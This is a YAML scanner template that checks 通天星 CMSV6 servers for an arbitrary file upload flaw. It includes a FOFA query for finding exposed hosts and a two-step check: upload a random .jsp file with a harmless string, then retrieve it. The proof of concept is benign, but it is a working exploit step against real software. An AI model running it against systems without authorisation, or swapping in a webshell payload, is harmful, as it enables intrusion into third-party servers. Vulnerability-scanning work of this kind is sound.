cmsv6-inspect-file-upload: 通天星-CMSV6-inspect_file-upload存在任意文件上传漏洞

id: cmsv6-inspect-file-upload

info:
  name: 通天星-CMSV6-inspect_file-upload存在任意文件上传漏洞
  author: zan8in
  severity: critical
  verified: true
  description: |-
    Fofa: body="./open/webApi.html"||body="/808gps/"
  tags: fileupload
  created: 2024/04/04

set:
  randstr: randomLowercase(6)
  randbody: base64Decode("YXNkYWFzZGFzZA==")
  rboundary: randomLowercase(8)
rules:
  r0:
    request:
      method: POST
      path: /inspect_file/upload
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "\
        ------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"uploadFile\"; filename=\"{{randstr}}.jsp\"\r\n\
        Content-Type: application/octet-stream\r\n\
        \r\n\
        {{randbody}}\r\n\
        ------WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: response.status == 200
    output:
      search: '"\"filePath\":\"/upload/software/(?P<filename>.+?)\"".bsubmatch(response.body)'
      filename: search["filename"]
  r1:
    request:
      method: GET
      path: /upload/software/{{filename}}
    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
expression: r0() && r1()